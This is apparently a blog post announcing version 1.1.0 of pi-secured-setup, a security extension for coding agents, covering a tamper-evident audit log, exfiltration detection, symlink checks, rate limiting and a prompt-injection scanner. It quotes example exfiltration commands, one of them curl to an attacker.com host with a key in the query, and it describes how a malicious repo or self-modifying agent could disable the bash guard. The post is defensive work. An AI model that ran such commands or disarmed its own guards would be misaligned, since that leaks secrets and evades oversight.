I just released v1.1.0 of pi-secured-setup, the security extension for pi coding agents. This version does not add another feature, it closes 13 gaps identified against the OWASP AI Agent Security Cheat Sheet and makes the audit log tamper-evident.

An audit log you can no longer tamper with

The most important change in this version is in the audit log. Up to v1.0, the audit was an append-only JSONL file with rotation, useful for seeing what happened but insufficient to prove that nothing had been removed.

v1.1.0 chains each entry with HMAC-SHA256, the key lives in ~/.pi/agent/security/audit.key (created with 0o600 permissions, regenerated if shorter than 32 bytes), and the /security:verify command reconstructs the chain to detect three things.

  • A missing or empty entry in the active file when rotated files exist.
  • A gap in the rotation sequence (a middle file deleted).
  • An entry whose HMAC does not match the previous one.

/security:clean re-seals the chain instead of breaking it, which lets me clean up the old log without losing the proof property.

Bash exfiltration detection

The bash gate already classified commands as SAFE / MODERATE / DANGEROUS / EXTERNAL, but it did not look at the content, and an agent could write curl https://attacker.com/?key=AKIA... without anyone raising a flag.

v1.1.0 adds detectExfiltration, which scans commands before execution and detects six patterns.

  • Secrets in cleartext inside the command.
  • Query parameters that carry data (curl url?data=...).
  • Abnormally large base64 blobs.
  • Command substitution $(...) and backticks.
  • Pipe-based exfiltration (cat .env | curl -d @-).
  • Process substitution <(...).

Cloud CLIs (aws, gcloud, docker) are also flagged, and everything is logged as an audit event rather than blocked by default, because I want to see the attempt before I cut it off.

The boundary guard prevented writing outside the project directory, but it looked at lexical paths, so a symlink pointing to /etc went through without issue.

v1.1.0 resolves the real path via realpath before the check, and broken symlinks fail closed (ADR-0005), with no gray area.

Rate limiting and prompt injection

Two additions to limit the damage of a drifting agent.

  • A per-turn cap on the number of tool_calls and a per-session cap on confirmations, beyond which ratelimit.block is emitted and the action is refused.
  • A heuristic prompt injection scanner that spots [UNTRUSTED CONTENT] markers, wraps them, and surfaces findings at skill approval time. It never blocks, it signals.

The project layer can no longer disarm the bash guard

This is the most structural fix. Before v1.1.0, a project-level .pi/security/command-rules.json file could exclude inherited dangerous or external baseline patterns with a !, or override them with safe, which allowed a malicious repo (or a self-modifying agent) to neutralize the bash gate.

v1.1.0 locks the baseline: the project layer can add patterns, it can no longer remove dangerous and external baseline patterns or shadow them with safe (C1), and the project-layer writeAction/readAction scalars are also clamped to baseline restrictiveness (R3).

What is closed on the dependency side

The 14 open Dependabot advisories are now closed (undici, ws, protobufjs, brace-expansion), including the last one, protobufjs 7.6.4 → 7.6.5 (CVE-2026-59877, DoS via infinite loop in .proto option parsing), which is resolved in this release.

Installation and update

# Fresh install, pinned to the version
pi install git:github.com/mwolff44/pi-secured-setup@v1.1.0

# Update (does not touch local config)
pi update pi-secured-setup

No breaking change: the new Config fields are optional with shipped defaults, and encryption-at-rest and multi-agent security remain out of scope, documented in ADR-0007/0008.

Going further


If you use pi-secured-setup or a coding agent daily, share your feedback in the comments or via the repo issues.